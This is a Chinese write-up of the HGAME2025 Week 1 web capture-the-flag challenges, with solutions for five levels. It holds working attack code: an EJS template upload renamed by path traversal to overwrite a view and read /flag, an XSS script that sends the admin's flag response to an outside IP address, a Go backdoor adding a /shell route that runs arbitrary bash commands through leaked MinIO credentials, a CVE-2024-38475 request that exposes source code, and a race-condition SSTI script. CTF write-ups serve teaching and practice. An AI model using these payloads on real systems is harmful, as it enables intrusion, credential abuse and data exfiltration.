HGAME2025 WEEK1 Web Writeup
Level 24 Pacman
index.js

base64+栅栏2解密

hgame{u_4re_pacman_m4ster}
Level 47 BandBomb
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const port = 3000;
const app = express();
app.set('view engine', 'ejs');
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());
const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});
const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});
app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');
if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}
fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});
app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});
app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);
if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}
fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});
app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});首先看到const multer = require('multer')使用了multer然后有任意文件上传,并且rename路由可以重命名上传的文件,
Express会通过view/mortis.ejs渲染mortis视图
那么就可以上传一个ejs文件重命名为../view/mortis.ejs
<%= process.env.FLAG || require('fs').readFileSync('/flag') %>
再访问主页面

hgame{aVe_MuJ1cA-Has-BROK3n_UP-But-w3_h@v3-uMlTakif}
Level 69 MysteryMessageBoard
弱口令,密码是888888
进去之后有个留言板

存在xss并且flag路由只能admin访问,admin路由可以查看留言
那么让admin访问flag就行,把数据外带出来
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var flagData = xmlhttp.responseText;
var flag1 = btoa(flagData);
var remoteServerUrl = 'http://60.205.1.86:9000/';
var xmlhttp2 = new XMLHttpRequest();
xmlhttp2.open("POST", remoteServerUrl, true);
xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp2.send("content=" + encodeURIComponent(flag1));
}
};
xmlhttp.open('GET', '/flag', true);
xmlhttp.send();
</script>
hgame{W0w_y0u_5r4_9o0d_4t_xss}
Level 25 双面人派对
main文件直接执行,可以看到是启了一个http服务

然后先对main文件upx -d脱壳,再用ida打开


minio:
endpoint: "127.0.0.1:9000"
access_key: "minio_admin"
secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
bucket: "prodbucket"
key: "update"问gpt,这是MinIO对象存储服务

连接服务
mc alias set test http://node1.hgame.vidar.club:30574/ minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=
源码在hints里,并且发现prodbucket里面有个update
结合文章https://baimeow.cn/posts/ctf/d3go

直接在main.go里面增加一个rce路由编译成update,再上传到prodbucket覆盖原来的update就行
package main
import (
"fmt"
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
"src/conf"
"src/fetch"
"os/exec"
)
func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})
}
func program(state overseer.State) {
g := gin.Default()
g.StaticFS("/", gin.Dir(".", true))
g.POST("/shell", func(c *gin.Context) {
cmd := c.PostForm("cmd")
if cmd == "" {
c.String(400, "No command provided")
return
}
output, err := exec.Command("/bin/bash", "-c", cmd).CombinedOutput()
if err != nil {
c.String(500, "Error executing command: %v", err)
return
}
c.String(200, string(output))
})
err := g.Run(":8080")
if err != nil {
fmt.Println("Failed to start server:", err)
}
}
flag{y0u-5AId-RlGHT_But-You_5H0u1d-pI4y-gEn5hiN-IMp@CT0}
Level 38475 角落
robots.txt

app.conf
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>
<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>
RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"
ProxyPass "/app/" "http://127.0.0.1:5000/"cve-2024-38475,构造请求获取源码
GET /admin//usr/local/apache2/app/app.py%3f HTTP/1.1
Host: node1.hgame.vidar.club:32372
User-Agent: L1nk/
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates
app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg
def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'
@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)
@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']
f = open(filename, 'w')
f.write(message)
f.close()
return redirect('index?status=Send successfully!!')
@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)/read路由会读取留言的内容,看到render_template_string就知道有SSTI,但是过滤了{,可以条件竞争
import requests
import threading
import time
url_send = "http://node1.hgame.vidar.club:31844/app/send"
url_read = "http://node1.hgame.vidar.club:31844/app/read"
payload = "{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /f*').read()}}"
def send_payload():
while True:
try:
response = requests.post(url_send, data={"message": payload})
print(f"Payload sent successfully to {url_send}")
except Exception as e:
print(f"Error sending payload: {e}")
time.sleep(1)
def read_message():
while True:
try:
response = requests.get(url_read)
print(f"Response from /read: {response.text}")
except Exception as e:
print(f"Error reading message: {e}")
time.sleep(1)
if __name__ == "__main__":
send_thread = threading.Thread(target=send_payload, daemon=True)
read_thread = threading.Thread(target=read_message, daemon=True)
send_thread.start()
read_thread.start()
while True:
time.sleep(1)
hgame{yOU-fINd-Th3-key-To_RRRac3_0uUuUt25a5219}